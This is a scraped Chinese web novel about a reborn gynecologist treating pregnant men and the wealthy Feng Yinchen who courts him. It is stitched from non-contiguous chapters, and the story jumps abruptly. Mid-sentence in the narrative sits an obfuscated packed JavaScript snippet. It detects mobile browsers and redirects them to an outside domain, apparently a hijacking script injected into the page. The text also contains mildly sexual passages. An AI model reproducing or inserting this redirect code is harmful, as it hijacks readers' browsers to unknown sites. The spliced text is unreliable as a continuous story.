萧凛道,“岩岩已经安顿在M国的州立医院,劳烦郁医生挂心了。” 郁瑟点点头。 就目前来说,即使萧凛给小娇夫临时转院,将郁瑟清清冷冷地丢在一旁凉着。 身为病人曾经的主治医生,表面的关怀还是要做到位的。 郁瑟随后去看了枫知乐的情况,病人术后反应良好,暂时也没有出现排斥反应。 跟他一起做手术的医疗团队分外欣赏他的专业技术,由团队的主要负责人提出邀约,希望郁瑟这样优秀的医生能加入他们的团队,共同进行更多高难度的手术,为更多的患者带去希望。 郁瑟听着负责人的诚挚邀请,心中不禁泛起一丝波澜。 如果活在现实世界,郁瑟会毫不犹豫地答应对方。 治病救人。 治病救人。 郁瑟对于拯救生命,怀有一种近乎痴迷般的执着。 所以,当一场恐怖的地震来袭,将祖国某地区摧毁得一片疮痍,无数生命在瞬间被吞噬,温馨的家园化为废墟,哀鸿遍野。 郁瑟得知这一消息时,毫无犹豫地加入了灾区医疗队,与千千万万的同僚奔赴地震灾区。 那里的情况比想象得还要惨绝人寰。 很多根本无法运送出来的伤病员,必须在临时搭建的简陋帐篷里接受治疗。 由于交通中断,医疗设备严重不足,药品和血液也极度匮乏。面对这样的困境,郁瑟和医疗队的成员们没有退缩,他们用尽一切办法,利用手头有限的资源,竭尽全力救治每一个送到他们面前的病人。 郁瑟做手术的最高记录是一天17场,那个时候他已经不仅仅是在做剖腹产手术。 有时,他简直就像是一名老道的骨科医生,对受伤者坏死的肢体,执行紧急的截肢手术。 每一次手术,都是一场与死神的较量,而他,总是那个站在最前线的人。 可是,在一天17场极限手术之前,每天每夜,他还不间断地做了许多场其他的手术。 最终,郁瑟累死在了自己最热爱的手术台前。 郁瑟想,他救得人数大概足够赎罪了吧。 赎罪。 救人一命胜造七级浮屠。 所以郁瑟又重新活了过来,在一个更神奇,但又完全依附于现实的世界中。 这一世,郁瑟发现了男性怀孕的案例,想好好地做一些医学临床研究,将男性生产技术的研究推向一个新的高度,造福更多的人。 当医疗团队伸出橄榄枝后,郁瑟立刻选择拒绝。 对方所谓的高超技术,其实是郁瑟被逼的,他学会了在极端条件下迅速做出判断,并非天生优于常人。 而且郁瑟也不想过度分神。 像白梵等子宫发育正常、胎位正常的产夫,也有像枫知乐这种天生缺少子宫韧带的产夫。 他都得好好研究,认真研究。 枫知乐已经过了麻药期,人开始知道疼痛了,小孩子毕竟才19岁,难免有娇气的时候,伤口从内到外的疼痛很快使得枫知乐面色蜡黄,眼眸含泪。 萧君耀未来肯定是一个很好的丈夫,哪里能瞧他这副可怜模样。 医疗团队的人哪个也不找,直接找郁瑟交涉,希望能快点给枫知乐再多挂一个止痛泵。 郁瑟说,“治疗方案早已经定好手术前后的麻药计量,相信萧先生也不希望肚子里的小宝宝,因为药物影响而有什么闪失吧?” 哎。 萧君耀前半辈子对爱河敬而远之,只是跟枫知乐一夜夫妻而已,如今直接把爱河的水往脑子里灌输。 宝宝什么的,之前讲过完全看小孩儿的意思,他现在看见枫知乐疼得满身冒冷汗,被盐袋压得纹思不能动弹。 人原本便是小小瘦瘦的一只,陷进病床里看起来愈发楚楚可怜了。 所以萧君耀又提到了盐袋的事情,说那东西又重又沉,会不会对肚子里的宝宝也不好。 郁瑟突然发现了一个有趣的现象。 萧凛这老婆奴的习性,如今完全转移到了小叔萧君耀身上。 这都还没有结婚呢,居然连公司也不管了,直接把这未来的小妻子搬进了左心室和右心室。 郁瑟不禁摇了摇头,心念这萧家的男人,真是一个赛一个痴情种,而且喜欢的类型也差不多款。 不过话说回来,看到枫知乐的模样,也确实让人心生怜悯。 他轻轻叹了口气,再次看向萧君耀,眼神中带着几分无奈与劝解,“萧先生,您的心情我能理解,但请您相信我们的专业判断。盐袋的使用是为了术后恢复,宝宝现在只是胎芽,对它不会有影响的。” “现在最重要的是,让枫三少爷好好休息,加强后续的疗养。” 哦。 如果非要有什么办法能缓解不适感的话。 郁瑟道,“萧先生可以让枫三少爷一感到不舒服,就咬你一口。” 毕竟你不让人家莫名其妙地怀孕的话,人家也不用在肚子里莫名其妙地挨刀了。 萧君耀陷入沉思。 郁瑟其实是开玩笑的,也没有打断他的犹豫,去找王齐问情况。 王齐今天大开眼界之后,一直处于亢奋状态,若不是知道郁瑟很忙,舍不得打扰师傅,免得增加师傅的疲劳,缠过来了。 郁瑟问他,“白梵那边你确定都安顿好了?孩子的尿不湿、奶粉,白梵的饭,你确定临出门时都照顾到位了?” 最主要的是,够不够安全,会不会被陆云辰找到。 王齐怒了努嘴,言道,“师傅,若不是我看到陆家少爷那撕心裂肺的模样,我现在真的很怀疑,白梵那孩子究竟是不是你的私生子?!” 郁瑟在他头上敲了一手锤,“你的脑洞敢再开大一点吗?” 又将爱徒缩起来的脑壳子揉了揉,“我们现在跟白梵是一根绳上的蚂蚱,你就少讲那些风凉话。” “白梵现在处境危险,我们得赶紧想办法把他转移到更隐秘的地方,确保他和孩子的安全,同时也要时刻防备着陆云辰的追踪。现在的情况,容不得半点疏忽。” 陆云辰看到那两张火葬证明书,肯定是万分不相信的,假如他能顺利从陆家逃出来,第一个会选择追踪的,就是郁瑟。 王齐他并不认识。 郁瑟说,“你也不要在医院里待着了,这里不是咱们的地盘,原本就人多嘴杂,容易藏匿眼目。” “你给白梵买点宵夜送过去,再买二斤草莓。” 王齐说,“白梵的饭量又不是海量,师傅你怕撑不死他啊?” 郁瑟抬手又要打他。 王齐缩起脖颈笑说,“我错了,师傅,我真的错了,你这一程子打,一程子又揉的,到底在打我还是在疼我啊?嘿嘿,师傅,我明白你的心意了,我这就去办。” “等等。” 郁瑟说,“草莓是买给你的,你不是想学我的天衣无缝刀法吗?” “今晚去把两斤草莓籽用夹子夹出来,一颗一颗地摆在盘子里,数清楚究竟有多少颗再睡觉。” 王齐啊了一声,灰头土脸地嘀咕,“就不能从火龙果开始练习吗?” 催走王齐。 郁瑟是真心感觉到累了,不过他还不打算休息,准备找个房间拿出笔记本电脑,开始整理今天接手的案例资料。 不过也正如他和徒弟说的,这医院不是自己的地盘,感觉哪个房间也不会待见自己一个外人。 所以准备找个有WIFI信号的走廊,好把资料同步到云端,以防万一。 结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15164057|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果许久不见的金管家出现得很突然,似乎找了他很久的样子,走路变成跑步,哼哧哼哧地冲了过来,一把拉住他的手腕道,“郁医生,可算找到你了。” 郁瑟问他怎么搞得火急火燎的? 金管家道,“家主的车在外面等你了四个小时,结果你一直没下楼。” 剩下的话完全不用讲了,想也知道一定脸臭极了。 郁瑟以为对方看完枫知乐的情况后,早已经返回枫家本宅了。 再说,他从来也没有想过,要跟枫音尘回家的打算啊? 无论如何,郁瑟还是跟着金管家,前往的所谓枫音尘的豪车前。 金管家在车前止步,做了个欲言又止的微表情,奈何车玻璃贴着防晒膜,谁知道家主坐在里面,正用什么样的表情死死瞪向自己。 伺候枫音尘久了,就连金管家也会感慨万千。 家主好久没有像护食的毒蛇一样得瞪过人了~ 金管家最终流露出一点好自为之的表情,将郁瑟留下,自己搭乘枫家的另外一辆车,提前先走了。 郁瑟瞬间感慨了。 原来枫音尘在车里坐久了,等得不耐烦了,才半夜将金管家招来叫人。 难道给我打个电话很为难吗? 郁瑟不得不在脑海里勾勒出枫音尘这一生,绝对是父母的爱子,兄长的宠儿,全家老小默认的团宠。 否则不能无法无天,骄矜成这样子的程度。 郁瑟恢复到恭敬的程度,拉开车门,却见里面的枫音尘一脸不耐烦。 果不其然。 只是车内的透出的月光恰到好处,从后而降,将枫音尘的眸子浸入寒潭,噙满森凉的寒气之余,愈发粹亮熠熠。 这人真是好看,好看到无论怎么惹人讨厌,最终还是会臣服在绝世容颜之下。 立刻变得不讨厌了,甚至因为这四个小时的耐心等待,转而生出一丝意外的感动。 郁瑟决定主动消除对方的寒意,连声道,“抱歉枫家主,我应该早点来跟你说一声的。” 枫音尘见他已经坐上车来,虽说姜太公钓鱼愿者上钩,但他真正希望的是,郁瑟凡事能更加主动一点。 而不是总需要人去推。 小说里不是说郁瑟迷他的脸,迷得要死要活的吗? 难道他近视了? 枫音尘冷淡地说了句,“你知道就好。” 郁瑟以为这已经是对方全部的话语了。 哪知郁瑟又接着说道,“我知道你为什么急着离开龙城。” 小说剧情里讲得清楚明白,完全不需要花费时间人力去做调查。 物尽其用,当用则用。 “陆云辰的小情儿在你的医院里出的事,他去砸掉了你的医院。” “之前你一直隐瞒自己的身份,替枫澄打掩护,其实你开的医院是萧凛投资的,专门用来为萧凛的男妻接生。” 枫音尘一向喜欢鸡蛋里挑骨头,唯独白梵假死的事情,他只简单提了一嘴,大抵上不会刺激到郁瑟的敏感自尊心。 身为一个医生,郁瑟比任何人都重视这件事。 枫音尘想了想,是郁瑟特别特别重视。 “所以,我可以给你足够的庇佑,在龙城给你开一间更大的医院,还可以把陆云辰这个杂碎赶得远远的,一点也伤害不到你。” 郁瑟以为他耐心等待自己四个小时,是要像对待其他人一样,好好毒舌几句再回家呢。 谁料想。 郁瑟真的意外极了。 同时,他也颇感五味杂陈。 “枫先生的好意,我真的很感激,”郁瑟绝对不是说假话,能获得枫家家主的庇佑,简直如同在龙城这块地界找到了足以蒙荫的靠山。 “但是为什么呢?”郁瑟并非善于享用嗟来之食的人,“我觉得自己帮助枫三少爷,并不是一件多么了不得的事情,只是出于一个医生的本能和职责。” 还说帮他开一间更大的医院。 听着真得是很不错的建议,但是无功不受禄。 枫音尘听他念念叨叨,似乎有想推拒的苗头,直接伸出手指戳在了郁瑟的面颊。 “打住。”枫音尘的指尖凉丝丝的,他的小蛇早已经被安置在宠物笼子里,而他的手指着完美地代替了伊尔曼的作用。 戳得郁瑟浑身一个机灵,绵凉的冷感沿着脊椎攀爬,变成微微的电流,宛若啪的一声,打出了灿烂的电花。 好像一个轻飘飘的吻。 枫音尘说,“我现在还没想到理由,等我想到了,再告诉你。” 接下来。 “枫家已经给你收拾出来一个专用房间。” “不要跟我客气,今晚就搬进去住,我就既往不咎。” 20.第 20 章 郁瑟无法从这个梦中苏醒,只能用双手紧紧扣住床单,连脚趾也在蜷缩用力,直到新铺的真丝床单变得被汗水浸透。 “枫音尘.......” 郁瑟的梦呓中,饱含焦灼地呼唤着这个恼人的姓名,似乎想借助呼唤,从这迷幻的梦境中挣脱出来,回归现实的清醒。 但梦中的枫音尘如同强势霸道的美人蛇,紧紧束缚着他,纠缠着他,让他沉沦在这既痛苦又甜蜜的边缘。 枫音尘的身影在梦境中愈发模糊,却又狠狠地真实,他的声音如同魔咒,一遍遍在郁瑟的耳边回响,挑拨着他内心最深处的情感。 郁瑟挣扎着,试图抓住一丝理智的丝线,却发现自己越陷越深,仿佛要永远迷失在这片由枫音尘编织的梦境迷宫之中。 最终,小黑蛇缓慢地松开了盘旋扭动的身躯,可能是它听见了枫音尘的名字,也有可能是从舌尖碰触到的空气中,品尝出了奇妙的味道。 总之,小黑蛇伊尔曼从郁瑟的被窝里钻了出来,像是安装了精准的定位雷达,又沿着原路爬回墙角,重新返回到一片溟濛不清的昏暗当中。 适时,是凌晨五点半。 天边泛起了鱼肚白,第一缕晨曦开始穿透窗帘的缝隙,钻入建筑内的每一个角落。 枫音尘刚完成半个小时的晨练,现在正赤着上半身,站在运动器械前做最后一组拉伸。 汗水顺着他精致的锁骨缓缓滑落,滴落在地板上,发出细微的声响。他的肌肉线条流畅而有力,仿佛每一块肌肉都蕴含着无穷的力量。 枫音尘的美貌无疑是充满相斥性的,他的脸蛋有多么无懈可击,他的身段就有多么令人眼眶发热。 然而他的美貌又具备如此的相容性,只要不将身上的任何一件衣服脱掉,根本猜不透如此妖颜惑众美人,在脖子以下究竟隐藏了什么可怖的东西。 做完拉伸,枫音尘从冰箱中取出一瓶Fillico,拧开瓶盖痛快地畅饮。 枫音尘很珍惜每一次的锻炼机会,假如没有将身体的潜能彻底发挥出来,他就会觉得这一天都白费了。 换句话说,他尤其珍惜眼前的健康,不允许身体状态出现任何一点下滑。 小黑蛇伊尔曼在整座宅子中经常穿梭,以至于每一个房间内,都有枫音尘叫人给它特意留下的孔洞,方便它自由进出。 伊尔曼似乎也很享受这种被重视的感觉,每当它从某个房间游弋到另一个房间时,总是显得格外惬意。 它今天尤其的惬意,以至于惬意过头了,当枫音尘站在原地,刚喝完水的时候,它像是天降奇兵似的,从屋顶的垂花灯罩倏然降落,笔直地掉在枫音尘的头上。 枫音尘居然面不改色,完全不会产生任何慌乱感,由着小黑蛇慢慢找准了平衡,从热汗淋漓的头顶慢慢垂至肩头。 枫音尘意幽幽道,“一晚上终于疯够了,知道回来了?” 说起伊尔曼,与他之间的渊源异常深刻,甚至比起枫澄三兄弟更加亲昵。 ——是他活着的证明。 伊尔曼仿佛能听懂他的嘲讽,像是一只撒娇的狗狗似的,主动用蛇尾攀住枫音尘的肩膀,而蛇头则讨好地去磨蹭枫音尘的嘴唇。 “坏东西。” 枫音尘由着它放肆讨宠,蓦得嗅到一股浓重的咸腥气味。 与他那种荷尔蒙超级爆表的味道不同,而是一种更加原始且纯净的感觉,仿佛带着蛋清般的自然腥味。 这令枫音尘立刻感到不满,捏住伊尔曼的七寸,提起来责难道,“喂,你早已经不是过去的你了,你现在可是一条兰花美人蛇,不要总是偷偷溜出去偷鸟蛋吃,好不好?!” “真是一天不教育你都不行。” 正好枫音尘要洗澡,直接提住伊尔曼一起泡澡,顺便祛除一下鳞片间染到的腥气味。 与此同时。 郁瑟也蹲在浴室地面,面色不虞地搓洗着昨夜换下来的内裤。 上面沾满了又浓又腥的,放在温水里搓洗了七八次,都还感觉清洗不干净。 郁瑟觉得很羞耻,平生说了第一句脏话。 妈的,这是春心萌动呢? 只要回忆起夜里做的荒唐梦,梦中的枫音尘姿色妖娆,引得他天翻地覆。 也不至于大清早起床,第一反应自己的内裤里凉飕飕的。 该死,真该死! 郁瑟小声地警告自己,“你是不是疯了,难道你对枫音尘怀着如此肮脏的遐想?!” 手上的动作愈发凶狠,恨不得给内裤当场搓出来个破洞。 可能是之前有了这样一件难堪事。 所以郁瑟与枫音尘再次同行时,主动坐到了车子的副驾驶座。 枫音尘坐车时有个习惯,从来不喜欢在车上过度交谈,即使是说话,也只是问一点必要事。 郁瑟一直担心他会询问自己,昨晚睡得好不好。 当然不好,自然不好。 他这辈子除了认真学习,努力当一名合格的医生,除此两件事外,关于爱情之类的问题,尚处于未曾探索区域。 更何况是人类七情六欲中,最为复杂难解的正是欢爱。 郁瑟一想到此处,脸颊就不自觉地微微泛红。 他偷偷瞄了一眼正在专注逗弄小黑蛇的枫音尘,那张轮廓美艳的脸庞显得异常冷静,充分证明这个人昨晚绝对没有钻进他的房间。 ——我让奇怪的欲念统治了自己一夜,而在此之前,我的梦境干净得像是一张A4白纸。 郁瑟偷偷打开手机,在网上查了一下关于人会做春天的梦属于什么情况。 【性.压抑或性.欲得不到满足时,可能会在梦境中出现春.梦。】 郁瑟天生好学,但他看到这条解释时,俨然并不满意,医生的灵魂是纯洁无垢的,包括所谓的压抑这种解释。 他继续滑动屏幕,寻找更为科学合理的答案。 然而,大多数回答都围绕着解决生.理需求展开,这让郁瑟感到有些烦躁。 他对于爱情和性的理解还处于懵懂状态,怎么可能因为一时的梦境就被贴上“性.压抑”的标签呢? 【心理压力、焦虑、抑郁等情绪状态,也极其有可能会影响睡眠质量,导致做春天生机勃勃的梦。】 ——有道理,这条很有道理,毕竟我昨天刚做完枫知乐的手术。 郁瑟准备安静地关闭了网页,决定不再纠结于这个问题。 就在这时,页面弹出了另外一条关于梦境的分析。 【内心的欲念,经常以蛇的形象出现在梦境中,象征着潜意识中未被满足的渴望与冲动。】 郁瑟:“......” 他回头看了眼正在浅寐的枫音尘,包括在他脖颈间安静地小黑蛇。 那小黑蛇仿佛对他充满好感,只要郁瑟瞧它,它便会扭转视角,与自己遥遥对望。 ——八成是看多了这蛇的缘故,毕竟日有所见,夜有所梦。 浅寐的枫音尘却终于憋不住笑,慵懒地说了句,“我很好看吗?郁医生。” 郁瑟直接被抓个现行,即使他从未有过偷窥任何人的习惯,只是枫音尘的嗓音低低哑哑的。 与彻夜纠缠在耳畔、身边、腿上的声音如出一辙。 郁瑟这张脸骤然春风拂面,吹起了一树一树的嫣红桃花,连最不容易发烫的耳垂,也像被人吸吮久了似的红到滴血。 他倒是挺想承认的。 枫音尘本就是很美的一个人,令人目不转睛。 然而此时此刻,他对他的浮于肤表的单纯迷恋,似乎进入了某种更为玄奇的境界。 ——我究竟是图他的脸,还是开始图他的身呢? ...... 好难分析啊! 瑟瑟叹气 . 经过数日的精心照料,枫知乐的身体状况逐渐好转,气色也变得更加红润。在进行B超检查后,确认了子宫内的胎芽发育正常。 萧君耀绝对是其中最开心的人。 枫知乐本来就喜欢成熟又稳重的人,萧君耀的体贴入微更是令他心生欢喜。 两人从不熟到熟悉,关系进展得异常顺利。 萧君耀见多识广,总是能找到最合适的话题,让枫知乐笑得前仰后合,而枫知乐也乐意倾听萧君耀工作上的烦恼,虽然给不了什么实质上的建议,但是听一听年轻人的稚嫩想法,也算是一种全新的解闷方式。 按照枫音尘的形容,这两人相处模式,已经彻底进入老夫少妻的初始阶段。 萧君耀为了感谢郁瑟,特地约郁医生到龙城最知名的酒楼用餐。 枫音尘直接做了郁瑟的嘴替,言道,“吃饭有什么好吃的,那家酒楼的菜根本名不符实,连我的蛇都懒得吃一口。” 萧君耀看在小孩儿还在对方手里捏着,使劲滚了滚喉结,将破口的话重新咽了回去。 忍常人之不能忍,方可如愿得娇妻美眷。 萧君耀从怀里掏出一本支票夹,在其中一张早已签好姓名,撕下来递给郁瑟,“聊表谢意,希望郁医生不会觉得唐突。” 郁医生也不是矫情人,既然人家都这么大气了,自己也没必要藏着掖着,于是打算双手接了,也不会多写零,足够买一台全新的妇产科综合治疗仪即可。 碍事的枫家家主果然又适时冒出来,伸手隔开那张空白支票,言辞凿凿道,“你羞辱谁呢?郁医生要的是实打实的器械,并不是一张空头支票。” 萧君耀嘴角微微抽搐,面上却还要维持着绅士的微笑,但也不准备放过嘚瑟的矫情鬼。 “听小叔叔的意思,你是早已经想好了,让我如何使用这张支票了。” 打住!快打住!! 枫音尘从手腕开始,到脖子根儿起了一层的鸡皮疙瘩,完全不着掩饰,恶心的程度无异于吃了一只苍蝇。 “你刚才叫我什么?”枫音尘迅速伸出手,做了一个快打住的手势。 “即使你跟知乐的婚事,我勉强算是同意了,也不准你随便跟着孩子们一起称呼我。” 好恶心好恶心! 枫音尘道,“你每次看见我,什么也不要对我说,就行了。” 什么都不说,那我要对着空气说? 对天说,对地说?! 听到即将可以放入计划内的婚礼,萧君耀又认为算了吧,好歹这人也算做了一件人事,只是说话的态度变得惜字如金。 多说多错啊。 “那我该如何表达感谢?” 萧君耀索性直面郁瑟,“郁医生似乎并不是公立医院的,听枫大少爷说,你有一家小型私人医院,不若我帮你翻新扩大?” 枫音尘:“我早已经选了这个选项,你去挑其他的!” 萧君耀问,“那我送全套设备?” 一直对萧君耀横挑鼻子竖挑眼的某人,突然像是被触动了开关,故意夸张得一巴掌拍在对方的肩膀上,直接给人差点打个趔趄。 “好,你总算是有用的时候,老萧,就交给你了!” 老萧...... 枫音尘转身招呼郁瑟,“走,给你准备的新医院选址有三个地方,得你亲自去看一眼才行。” 这行动力难免也太快了! 郁瑟记得他好像是昨天才说过的,今天居然已经选好地址,郁瑟简直要怀疑对方其实早已经开始做好准备,等他主动上钩了。 郁瑟只好与萧君耀点头道别,被走在前面的枫音尘催了两声,立刻追上去跟在身后。 萧君耀一直以为枫音尘的眼睛里长着天然的显微镜,像公鹅一样,看谁都比自己小,无论自身什么实力,都敢伸长脖颈跟人家斗一斗。 俗称目中无人。 经过观察后,萧君耀又得出了另外一个结论。 不可一世的枫音尘似乎对郁瑟格外不同。 ...... 嗯。 萧君耀凭借纵横商场的独特眼光,肯定以及十分肯定。 枫音尘只要看着郁瑟的时候,目光里的骄矜就会彻底变质。 变成...... 萧君耀将这事转换成另外一种形式,间接说给枫知乐听。 枫知乐对枫音尘的态度属于又敬又怕,父母出事之前,整个枫家全部仰仗枫音尘的管 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“最主要的是,我小叔长了一张永葆青春的面孔,假如我不说,其实你也根本瞧不出他的岁数。” “难怪难怪。”一切都解释得通了。 “难怪他总是一副高高在上、不可一世的表情。” 感情是从小作为天之骄子,被家族给惯坏了的。 . 枫音尘带着郁瑟,前后跑了三家适合开办医院的选地,每一个地方都是精心挑选,无论是从交通方面,还是周围的环境,都是很不错的选择。 郁瑟最后选了一个靠近公园的三层建筑,因为男性生产较之于女性,属于凤毛麟角的存在,他既可以接收新的病人,又可以留下时间搞临床研究,还可以适当留下一部分生活空间。 还是那句老话,人死过一场之后,对于生命的奥义,人生的定位,都会发生潜移默化地改变。 他是要继续救死扶伤,但他更需要先解救自己。 这一点,枫音尘与他的意见不谋而合,所以医院的面积并非大到夸张,而是刚好够郁瑟打理学习,又不至于特别劳累的程度。 最主要是,不要让郁瑟产生心理负担,毕竟过度地施予显得尤为可疑,温水煮青蛙也有个缓慢地过程。 所以枫音尘才用了迂回战术,等郁瑟选好最终在哪一个地方之后,枫音尘随即给律师打了电话。 等律师风尘仆仆地赶来,枫音尘接过对方手里的一沓文件,才郑重其事道,“这三块地方,其实我都早已买回来做不动产投资,只是一直没有遇到合适的项目。” “郁医生的医术精湛,加之开医院的话盈利性强,所以把地方留给你,是为了更多地获得分红。” 郁瑟一直拧紧的心巴终于松开了。 之前萧凛并不是以分红为目的,帮助郁瑟开私人医院,所以当郁瑟没有利用价值以后,被抛弃得也是干脆利索。 只要有利益纠葛,枫音尘就不会轻易抛弃这块地方,而且他之前说的,会成为郁瑟的全新靠山,这句话更不是一句口头戏言。 郁瑟看了一眼合同中的分红比例,觉得十分不错,立刻二话不说签字摁手印。 在郁瑟忙着跟律师对接的过程中,枫音尘的目光满满地笼罩在对方身上。 郁医生笑起来很好看,正如他总是阳光自信,人淡如竹,任何阴霾都会绕开他走,连细微的灰尘也不会染脏郁瑟洁白的衣袖。 枫音尘仿佛被此刻的郁瑟更为痴迷了一些。 天知道小说里那些将郁医生弄脏的描写,描绘得场面有多么刺激。 枫音尘对郁瑟的情感十分复杂,现在看来,他也并非只想单纯地睡到郁医生。 《强宠郁医生的九十九夜》,这个辣眼睛的低俗文学题目里,还有一个至关重要的字眼。 ——那就是宠。 只是这个宠字多半要在床上实现,而一部分则在于如何慢慢地软化对方的坚固防线。 非要形容,有点像攻略游戏,如果只是为了睡觉而睡觉,那爽得只有基吧。 如果连NPC的心也被同时攻略了的话,爽得不仅仅是基吧。 枫音尘立刻有了全新的主意。 ——沿着小说剧情推动情节,在郁医生沉沦之后,直接将欠下来的床戏一举拿下! 枫音尘对擦拭手指的郁瑟勾了勾手指。 “郁医生应该也累了,不然接下来由你坐庄,请我吃一顿家常便饭?” 他讲这种理所当然的话最是自然。 索性郁瑟确实也很感谢他的付出,言道,“可是枫家主的品味太高,我不知道究竟哪一家的五星餐厅能符合你的口味?” 而且,预订五星级餐厅一般都需要提前一个月。 枫音尘用手指了一下郁瑟,“远在天边近在眼前,你做给我吃就行了。” 郁瑟:“……” 郁瑟:“是因为我会抓手术刀吗?所以枫家主觉得我会做饭……” 郁瑟扬眉,“你怎么知道我擅长做饭。” 当然知道了,而且早知道了。 小说里写得清清楚楚,明明白白,郁瑟每次被逼着做饭给枫音尘吃的时候。 枫音尘总会把他抱到中岛、菜板、洗菜池等一系列地形复杂的位置XXX,基本等到菜变凉了、菜糊了、厨房险些着火了,才准双腿颤巍巍的郁瑟下来。 草莓、冰块等一系列重要道具亮相的频率之高,更是令人发指! 你问怎么知道自己会做饭?去问小说里的枫音尘知道不知道? 枫音尘认真反思了一下自己的攻略过程,发现自己还是太过自信,任由故事的前13章循规蹈矩地发展,浪费了机会。 假如他肯打破常规的话,搞不好现在早已经吃肉喝汤了。 枫音尘,也就是小说里的枫音尘露出迷人的微笑,趁机伸手揽了一把郁医生的腰。 “这个问题是个秘密,走吧,我肚子饿极了。” 而且,再不走天就要黑了,不能错过跟下一个重要角色的相遇。 50-60 第51章 第 51 章 把郁瑟叫来 枫音尘对医院天生厌恶透顶, 若不是因为有郁瑟的存在,他这辈子都不打算靠近这种地方,尤其还能忍受住刺鼻的消毒液气味, 在里面住上一周的时间。 等身体痊愈的第一件事, 枫音尘回家洗了一个香喷喷的热水澡,又找来专业的明星团队,将原本就漂亮的外形修剪到无懈可击。 他打扮得精致美型, 并非是为了去勾引郁医生。 正相反, 他是在等待着杜景恒的骚扰。 生病前一天,他让私人秘书将DNA检测报告交到了杜景恒的手中。 当然, 全程采用匿名的形式。 现在过了一周时间, 恐怕杜景恒的智商再低,也要循着蛛丝马迹, 自动找上门来了。 果不其然, 这个世界上最了解自己的,不是自己的朋友,便是自己的敌人。 杜景恒很快查到送来DNA鉴定表的人, 是枫音尘的得力助手。 这令杜景恒感到格外愤怒。 尤其看到萱萱的名字时, 杜景恒内心的崩溃已经达到了难以忍受的巅峰。 在杜景恒的潜意识里,枫音尘就是无耻、毒舌、心机、虚荣心强、报复心更强的代言人。 而他不得不用最恶毒的念头来揣测,枫音尘究竟是怎么找到萱萱的?萱萱究竟是谁生的?如此之类的极限问题。 其实最开始看见萱萱的一刹那,杜景恒已经开始派人四处打听关于萱萱的一切信息。 可惜无果, 仿佛庭院间被清扫过的路面, 将沾染了脚印的地方, 全部清理得干干净净,不留下一丝痕迹。 这让杜景恒愈发觉得,萱萱的存在, 如同一枚精心布置的棋子,被某个幕后黑手操控着,而枫音尘无疑是最有可能的操盘者。 杜景恒坐在书房里,手指轻轻敲打着桌面,目光阴沉如冰。 他深知,要想揭开这一切的谜团,就必须先找到萱萱,从她身上打开缺口。 但萱萱仿佛人间蒸发了一般,无论他如何寻找,都毫无头绪。 除非假如 就在这时,书房的门被轻轻推开,一个手下匆匆走了进来。“杜总,我们查到了一些关于枫音尘的消息。”手下的话语中带着一丝急切,让杜景恒的精神瞬间振作起来。 “说。”杜景恒的声音低沉而有力,仿佛一头蓄势待发的猛兽。 “枫音尘最近频繁出入一家福利院,而且每次离开时都显得行踪诡秘……”手下边说边递上了一份资料。 “据我们的线人报告,他还经常在福利院逗留很久,至于在福利院里究竟做了什么,对方捂得实在太严了,我们暂时无法得知。但有一点可以肯定,枫音尘与这家福利院的关系非同一般,或许萱萱的线索就隐藏在那里。” 手下的话如同一剂强心针,让杜景恒原本沉闷的心情有了一丝转机。 他接过资料,仔细翻阅着,每一个细节都不放过。 杜景恒道,“枫音尘这辈子唯爱自己,最讨厌的就是小孩子,假如说是为了公司形象,假装在福利院搞慈善,那也不至于如此频繁且神秘。这里面,一定与萱萱有关!” 杜景恒的眼中闪过一丝冷冽的光芒,他合上资料,站起身来。 “枫音尘这狗东西!”杜景恒忍不住爆了粗口,“萱萱是我的孩子,他居然能把孩子藏到福利院,可见这个人的心肠是有多么的歹毒!” “备车,我要去那家福利院看看。”杜景恒大步流星,领着一众手下冲去了那里。 结果,杜景恒人刚到那里,立刻被福利院的糟糕环境深深打击。 那座看似普通的福利院,外表已经斑驳不堪,院内设施陈旧,空气中还弥漫着一股难以言喻的异味。 杜景恒皱了皱眉,忍住强烈的呕吐感,他没想到在繁华的都市之中,竟然还隐藏着如此破败的一角。 心情瞬间更加沉重几分,对枫音尘的怨恨又加深了几分。 不管萱萱是谁生的,但那孩子身体上可是带着他的血液,枫音尘究竟是有多么心狠手辣,居然把孩子藏在这样脏乱差的地方?! 杜景恒简直怒火攻心,带领手下走进福利院,发现里面只有几个年迈的工作人员在忙碌,孩子们的身影寥寥无几,且都显得营养不良,衣着破旧。 杜景恒的心像被针扎了一样,疼得厉害。 他想象着萱萱可能也在这里,过着这样凄苦的生活,就感到一阵窒息般的痛苦。 于是强忍着内心的愤怒和悲痛,询问起工作人员关于枫音尘的事。 结果,工作人员因为年龄比较大,并不是能很好地解释清楚。 何况,他们是有台本的。 枫音尘之所以每天都来这家福利院,是跟福利院的管理者商量好了。 枫音尘出资给福利院翻新,并且定期捐赠生活和学习用品,还要盖一座新的食堂给孩子们加赠营养餐。 唯一的条件就是要按照预设的台本进行表演。 杜景恒本来就气不打一处来,再看到福利院里的生活现状,心中的怒火更甚,他几乎马上意识到枫音尘的险恶用心。 ——枫音尘是故意想叫我难受,他是在暗示我,抛弃萱萱母女不管的人,是他杜景恒。 可是,杜景恒将脑袋想破了,也想不到究竟自己怎么会和女人滚了床单? 他这辈子只爱过一个人!也只跟这一个人上过床啊!! 而且,对方还是的男的!! 杜景恒不得不佩服宿敌玩得一手好心理战。 枫音尘是用这种方式来暗示,让杜景恒亲眼看到自己的女儿如果没被带走,可能会过的是什么样的生活。 这是一种残忍的炫耀,也是一种无声的嘲讽。 杜景恒紧握的拳头微微颤抖,指甲几乎嵌入掌心,却仍不足以平息他内心的激荡。 最后深吸一口气,努力让自己的情绪平复下来。 他知道了。 跟在枫音尘的屁股后面,是绝对找不到萱萱的,枫音尘是想耗尽他的耐心。 福利院是第一个场所。 但绝对不是最后一个。 杜景恒相当熟悉枫音尘的阴险策略,深知对方的顽劣个性。 笑时紧咬着牙根,道,“枫音尘这个人坏得很,擅长使用阴诈的诡计,与其像猴子一样被对方耍得团团转,倒不如主动出击。” 